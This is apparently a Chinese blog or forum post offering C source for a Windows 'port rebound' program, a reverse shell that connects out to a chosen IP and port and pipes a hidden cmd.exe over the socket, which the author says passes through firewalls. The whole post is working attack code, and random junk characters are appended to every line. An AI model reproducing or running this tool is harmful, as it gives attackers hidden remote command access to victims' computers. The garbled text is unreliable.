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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '.Ym!r~wL  
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/* ============================== K9[e>  
Rebound port in Windows NT B51kV0  
By wind,2006/7 U{~SXk'2+  
===============================*/ RA],lNs  
#include >r)X:K+I  
#include QC0!p"  
Fl{WAg  
#pragma comment(lib,"wsock32.lib") '4OcZ/oI  
#fs|BV !  
void OutputShell(); {%.Lk'#9  
SOCKET sClient; 4KI [D{  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; sM\lO  
(X+s-4%  
void main(int argc,char **argv) m ,>  
{ J4 tcQ  
WSADATA stWsaData; >p])it[q&$  
int nRet; 6  P`)%zj  
SOCKADDR_IN stSaiClient,stSaiServer; z *9FlV  
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if(argc != 3) .mL#6P!d3^  
{ U@Tj B  
printf("Useage:\n\rRebound DestIP DestPort\n"); -$<O\5cAQ  
return; ~|Z'l%<Os  
} s?3i) Ymr  
!umEyd@ "  
WSAStartup(MAKEWORD(2,2),&stWsaData); m"-[".-l-  
b8BD8~;  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); sk2%  
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stSaiClient.sin_family = AF_INET; .wK1El{bf  
stSaiClient.sin_port = htons(0); rS*$rQCr=  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6+dn*_[Z6  
"Vd_CO  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7m9 " 8   
{ +VU4s$w6  
printf("Bind Socket Failed!\n"); c 5`US  
return; 68R1AqU_  
} ~V)?>)T  
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stSaiServer.sin_family = AF_INET; x`Fjf/1T*m  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 9l+{OA  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8cm@a*2%  
jU=<r  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) WxGSv#u  
{ *s)}Bj  
printf("Connect Error!"); Eff\Aq{  
return; F6S~$<  
} 4B-yTyO  
OutputShell(); r;iV$Rq !  
} nhdTTap&9  
0O2n/`'  
void OutputShell() sI 4yG  
{ U!e6FHj7  
char szBuff[1024]; 2L\3S ukj  
SECURITY_ATTRIBUTES stSecurityAttributes; .tF|YP==  
OSVERSIONINFO stOsversionInfo; \ Aq;Q?  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; zPZF|%|  
STARTUPINFO stStartupInfo; TSo:7&|  
char *szShell; (E($3t8  
PROCESS_INFORMATION stProcessInformation; tkuc/Z/@  
unsigned long lBytesRead; Xt,X_o2m|]  
)u@c3?$6  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MonS hIz  
I__4I{nI  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ])y{BlZ  
stSecurityAttributes.lpSecurityDescriptor = 0; zW4 O4b$T  
stSecurityAttributes.bInheritHandle = TRUE; ]UNZd/hIL  
[cU,!={  
aW{L7N%  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EZ#gp^$  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 8&}~'4[b[$  
xRDiRj  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); &K:' #[3V  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #iis/6"  
stStartupInfo.wShowWindow = SW_HIDE; m/USC'U%  
stStartupInfo.hStdInput = hReadPipe; tLX,+P2|  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; VRS 2cc  
's@MQ! *  
GetVersionEx(&stOsversionInfo); 9 Aivf+  
"dN < i  
switch(stOsversionInfo.dwPlatformId) !Qu PG/=X  
{ `?o=*OS7Y  
case 1: H`<?<ak6'M  
szShell = "command.com"; sms1%%~  
break; 8?jxDW a  
default: bY#;E;'7  
szShell = "cmd.exe"; _|n=cC4Qu  
break; U6WG?$x  
} rS~qi}4X  
VEh]p5D  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Q5E:|)G  
<jd/t19DB  
send(sClient,szMsg,77,0); ++92:decM  
while(1) Uh6mGL z*&  
{ {y);vHf$  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); rveVCTbC  
if(lBytesRead) zS% m_,t  
{ Fu0.~w  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b%0BkS*  
send(sClient,szBuff,lBytesRead,0); ^!>.97*   
} (5Ky6b9v  
else r7X D&Y  
{ INLf#  N  
lBytesRead=recv(sClient,szBuff,1024,0); \ sf!  
if(lBytesRead<=0) break; e`DsP8-&v  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); bf98B4<  
} -h\@RC  
} 'yT`ef  
:{CFTc5:A  
return; ag]*DsBt  
}
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